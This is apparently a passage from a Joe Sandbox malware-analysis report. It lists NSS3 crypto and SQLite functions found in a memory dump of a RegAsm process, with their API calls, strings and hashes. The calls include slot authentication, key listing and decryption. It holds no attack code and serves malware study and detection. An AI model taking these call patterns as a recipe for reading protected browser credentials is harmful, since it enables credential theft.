Function 6C00EA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C018C9F,00000000,00000000,?), ref: 6C00EA29

Part of subcall function 6C030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C0308B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C018C9F), ref: 6C00EB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C0FC6C4), ref: 6C00EB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C00EBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C00EBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C00EBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C018C9F), ref: 6C00EC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C00EC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C00EC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C0FC754), ref: 6C00EC6D
free.MOZGLUE(?), ref: 6C00EC7F
free.MOZGLUE(00000000), ref: 6C00EC90
free.MOZGLUE(?), ref: 6C00ECA1
free.MOZGLUE(00000000), ref: 6C00ECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C00ECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6C0191D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C0191E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C0191F2
free.MOZGLUE(00000000), ref: 6C0191FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: a2f7f87e254f05a2555ecff04f81497467b2da9046cb03dc7fdaf0cec2f0a0ca
Instruction ID: a8c81b9b3f91f5b6fac069dd51549bc726e589a4fc0e8872bd146daf09ac30ca
Opcode Fuzzy Hash: a2f7f87e254f05a2555ecff04f81497467b2da9046cb03dc7fdaf0cec2f0a0ca
Instruction Fuzzy Hash: 65A1E471B052055BFB00CA69DC81BAF77E8EB45348F210439E8B6E7B80E775E9458BD2

Function 6BFCEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BFCEF63

Part of subcall function 6BFD87D0: PORT_NewArena_Util.NSS3(00000800,6BFCEF74,00000000), ref: 6BFD87E8
Part of subcall function 6BFD87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6BFCEF74,00000000), ref: 6BFD87FD
Part of subcall function 6BFD87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6BFD884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6BFCF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BFCF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6BFCF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6BFCF374
PL_strcasecmp.NSS3(6C112FD4,?), ref: 6BFCF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6BFCF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6BFCF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6BFCF67D
CERT_DestroyName.NSS3(?), ref: 6BFCF68B

Part of subcall function 6BFD8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6BFD8338
Part of subcall function 6BFD8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6BFD8364
Part of subcall function 6BFD8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6BFD838E
Part of subcall function 6BFD8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6BFD83A5
Part of subcall function 6BFD8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFD83E3

Part of subcall function 6BFD84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6BFD84D9
Part of subcall function 6BFD84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6BFD8528

Part of subcall function 6BFD8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6BFCF599,?,00000000), ref: 6BFD8955

Strings

oid., xrefs: 6BFCF2CF
*, xrefs: 6BFCF3C6
", xrefs: 6BFCF21B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 79daa4e4b33ec11ed743286801d590f5faa6f7a88ab596fbe3c795ed4408fd11
Instruction ID: 2feb2b267b43b6cedd5d9072870ef13fedc9f0027e00a0e3c52539696e8c24a9
Opcode Fuzzy Hash: 79daa4e4b33ec11ed743286801d590f5faa6f7a88ab596fbe3c795ed4408fd11
Instruction Fuzzy Hash: 7A223673A083528BD7548E28C8903ABF7E2AB85714F14496EE5D5873B1E7399C8DCB43

Function 6C01A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C01A9CA

Part of subcall function 6C030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BFD87ED,00000800,6BFCEF74,00000000), ref: 6C031000
Part of subcall function 6C030FF0: PR_NewLock.NSS3(?,00000800,6BFCEF74,00000000), ref: 6C031016
Part of subcall function 6C030FF0: PL_InitArenaPool.NSS3(00000000,security,6BFD87ED,00000008,?,00000800,6BFCEF74,00000000), ref: 6C03102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C130B04,?), ref: 6C01A9F7

Part of subcall function 6C02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1018D0,?), ref: 6C02B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C01AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C01AA33
PK11_GetInternalKeySlot.NSS3 ref: 6C01AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C01AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C01AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C01AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C01AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C01AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C01AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C01ABDC
PK11_FreeSymKey.NSS3(?), ref: 6C01ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C01ABF7

Part of subcall function 6C01AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C01AB3E,?,?,?), ref: 6C01AC35
Part of subcall function 6C01AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C01AB3E,?,?,?), ref: 6C01AC55
Part of subcall function 6C01AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C01AB3E,?,?), ref: 6C01AC70
Part of subcall function 6C01AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C01AC92
Part of subcall function 6C01AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C01AB3E), ref: 6C01ACD7

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 4623695f481abaae4d0e43d84971301008d09ee9f7ddfb3cb6fc852bbc3c5193
Instruction ID: 483c195be32ebe7d100445de0e8a1209ad22dfcb5a53604b84b77ecba3801e33
Opcode Fuzzy Hash: 4623695f481abaae4d0e43d84971301008d09ee9f7ddfb3cb6fc852bbc3c5193
Instruction Fuzzy Hash: 3B7117B190C3419BD701CFA4DC80B5BF3E5AF84758F204A29F96897A41E771EA4CCB92

Function 6C000EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C000F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C000FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C001006
PK11_FreeSymKey.NSS3(?), ref: 6C00101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C001033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C00103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C001048
memcpy.VCRUNTIME140(?,?,?), ref: 6C00108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C0010BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C0010D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C00112E

Part of subcall function 6C001570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C0008C4,?,?), ref: 6C0015B8
Part of subcall function 6C001570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C0008C4,?,?), ref: 6C0015C1
Part of subcall function 6C001570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C00162E
Part of subcall function 6C001570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C001637

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: d5a826373ec70386fb472ad7d0963a3b22b98d3e02a4e94410ccddae6b017c1a
Instruction ID: 6b936206e28f8dc532d5cc3c5ef318e5d0edefb880e588d2228741ad695bdebe
Opcode Fuzzy Hash: d5a826373ec70386fb472ad7d0963a3b22b98d3e02a4e94410ccddae6b017c1a
Instruction Fuzzy Hash: DA71FEB1A042059FEB04CFA9CC80BAAB7F5BF4831CF15862CE91997B51E771E944CB90

Function 6C026C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6BFD1C6F,00000000,00000004,?,?), ref: 6C026C3F

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6BFD1C6F,00000000,00000004,?,?), ref: 6C026C60
PR_ExplodeTime.NSS3(00000000,6BFD1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6BFD1C6F,00000000,00000004,?,?), ref: 6C026C94

Strings

gfff, xrefs: 6C026D9C
gfff, xrefs: 6C026CF5
gfff, xrefs: 6C026D66
gfff, xrefs: 6C026D30
gfff, xrefs: 6C026CFD

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 0a85dac8747fe66dafdf9cd19980e3268502d9f79f412b7ef2553b29de2a0ca3
Instruction ID: 686578b6199bd9157825f8906e960779e06e7e47cf06ebbb4e7c45731ace3cc9
Opcode Fuzzy Hash: 0a85dac8747fe66dafdf9cd19980e3268502d9f79f412b7ef2553b29de2a0ca3
Instruction Fuzzy Hash: 22514A72B016494FC718CDADDC527DEB7DAABA4310F48C23AE842DB781D678E906C751

Function 6BF60FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6BF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6BFBF9C9,?,6BFBF4DA,6BFBF9C9,?,?,6BF8369A), ref: 6BF5CA7A
Part of subcall function 6BF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6BF5CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6BF6103E
EnterCriticalSection.KERNEL32(?), ref: 6BF61139
LeaveCriticalSection.KERNEL32(?), ref: 6BF61190
sqlite3_free.NSS3(00000000), ref: 6BF61227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6BF6126E
sqlite3_free.NSS3(?), ref: 6BF6127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6BF61267
winAccess, xrefs: 6BF6129B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 74ae9eee086392febab539f13d2129e40510964fbfb44ff2a24d180c5b3a5f6f
Instruction ID: 57abbf2f1cdc721c8129768013d4a00f3e4ed4f33d7ce51e9133cc41924ec325
Opcode Fuzzy Hash: 74ae9eee086392febab539f13d2129e40510964fbfb44ff2a24d180c5b3a5f6f
Instruction Fuzzy Hash: 8E712A37B04221ABEB148F34DD45BAA37B9FF86355F001129ED15872A0EB3C9A41D792

Function 6BF6AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C08CF46,?,6BF5CDBD,?,6C08BF31,?,?,?,?,?,?,?), ref: 6BF6B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C08CF46,?,6BF5CDBD,?,6C08BF31), ref: 6BF6B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C08CF46,?,6BF5CDBD,?,6C08BF31), ref: 6BF6B0A2
CloseHandle.KERNEL32(?,?,6C08CF46,?,6BF5CDBD,?,6C08BF31,?,?,?,?,?,?,?,?,?), ref: 6BF6B100
sqlite3_free.NSS3(?,?,00000002,?,6C08CF46,?,6BF5CDBD,?,6C08BF31,?,?,?,?,?,?,?), ref: 6BF6B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C08CF46,?,6BF5CDBD,?,6C08BF31), ref: 6BF6B12D

Part of subcall function 6BF59EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6BF6C6FD,?,?,?,?,6BFBF965,00000000), ref: 6BF59F0E
Part of subcall function 6BF59EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6BFBF965,00000000), ref: 6BF59F5D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 0d463c63bda8aaa6941b12af3f354a0f09b43ab73d8d0ec666ec67b2f21c4a7e
Instruction ID: 3f8594eebd92fd2719cc005eaee0db2cb1fb9fcd4b66b911b43f35fb017f7872
Opcode Fuzzy Hash: 0d463c63bda8aaa6941b12af3f354a0f09b43ab73d8d0ec666ec67b2f21c4a7e
Instruction Fuzzy Hash: D591CCB2A002069FDB14CF78C885B6AB7F1FF45384F144A6DE81697261FB39E880CB41

Function 6C0E8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C1314E4,6C09CC70), ref: 6C0E8D47
PR_GetCurrentThread.NSS3 ref: 6C0E8D98

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C0E8E7B
htons.WSOCK32(?), ref: 6C0E8EDB
PR_GetCurrentThread.NSS3 ref: 6C0E8F99
PR_GetCurrentThread.NSS3 ref: 6C0E910A

Strings

%u.%u.%u.%u, xrefs: 6C0E8E74

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 5e8a99b524f78dd960de523a1057d1f7eca0e99667dca5dbf0187d823f6ccf01
Instruction ID: 2349137fd5991c50f8aa96fdbcf90de4fe4f164f270371425d03dd5872827b74
Opcode Fuzzy Hash: 5e8a99b524f78dd960de523a1057d1f7eca0e99667dca5dbf0187d823f6ccf01
Instruction Fuzzy Hash: 0102AA319852518FDB188F19C4687AABBE2EF8A308F19839ED8915FBD1C335D945C790

Function 6C0668E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C0668FC
PR_EnterMonitor.NSS3 ref: 6C066924

Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990AB
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990C9
Part of subcall function 6C099090: EnterCriticalSection.KERNEL32 ref: 6C0990E5
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C099116
Part of subcall function 6C099090: LeaveCriticalSection.KERNEL32 ref: 6C09913F

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

PR_EnterMonitor.NSS3 ref: 6C06693E
TlsGetValue.KERNEL32 ref: 6C066977
TlsGetValue.KERNEL32 ref: 6C0669B8
PR_ExitMonitor.NSS3 ref: 6C066B1E
PR_ExitMonitor.NSS3 ref: 6C066B39
TlsGetValue.KERNEL32 ref: 6C066B62

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: c29ac67cfb4383cb42b1c56598dd1d13290989b85859064634feb7e13019f442
Instruction ID: 631200013fcd2c37a5980226284daadbbc730ebe79d8a5b86d7d06a6a9779c6b
Opcode Fuzzy Hash: c29ac67cfb4383cb42b1c56598dd1d13290989b85859064634feb7e13019f442
Instruction Fuzzy Hash: E3914774658200CBDB50DF3EC48075E7BE6EB87308BA19299C8449BE29C775D9C2CF92

Function 6BF6EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6BF6FAC8
table, xrefs: 6BF6F05C, 6BF6FABC, 6BF6FAC7
not authorized, xrefs: 6BF6F957, 6BF6F9BA
temporary table name must be unqualified, xrefs: 6BF6F734
sqlite_temp_master, xrefs: 6BF6F0A6, 6BF6F2D5
view, xrefs: 6BF6F061, 6BF6F071, 6BF6FAB7
authorizer malfunction, xrefs: 6BF6F95C, 6BF6F9BF, 6BF6FA5E, 6BF6FA8B
there is already an index named %s, xrefs: 6BF6F9D7
sqlite_master, xrefs: 6BF6F0AB, 6BF6F2DA, 6BF6F757, 6BF6F93E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: e19a7280de85d16296ddcb1707bb88fec5519fe34fe8e4284f945e330b1d8200
Instruction ID: b1648bef107fb152cc266bb02b89f9e29bfee01890a2e93f014149ed2cb4a0a0
Opcode Fuzzy Hash: e19a7280de85d16296ddcb1707bb88fec5519fe34fe8e4284f945e330b1d8200
Instruction Fuzzy Hash: B072A172E042059FDB54CF28C484BAABBF1BF49348F1481ADDC159B362E779E855CB90

Function 6BFF09A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6BFF06A0: TlsGetValue.KERNEL32 ref: 6BFF06C2
Part of subcall function 6BFF06A0: EnterCriticalSection.KERNEL32(?), ref: 6BFF06D6
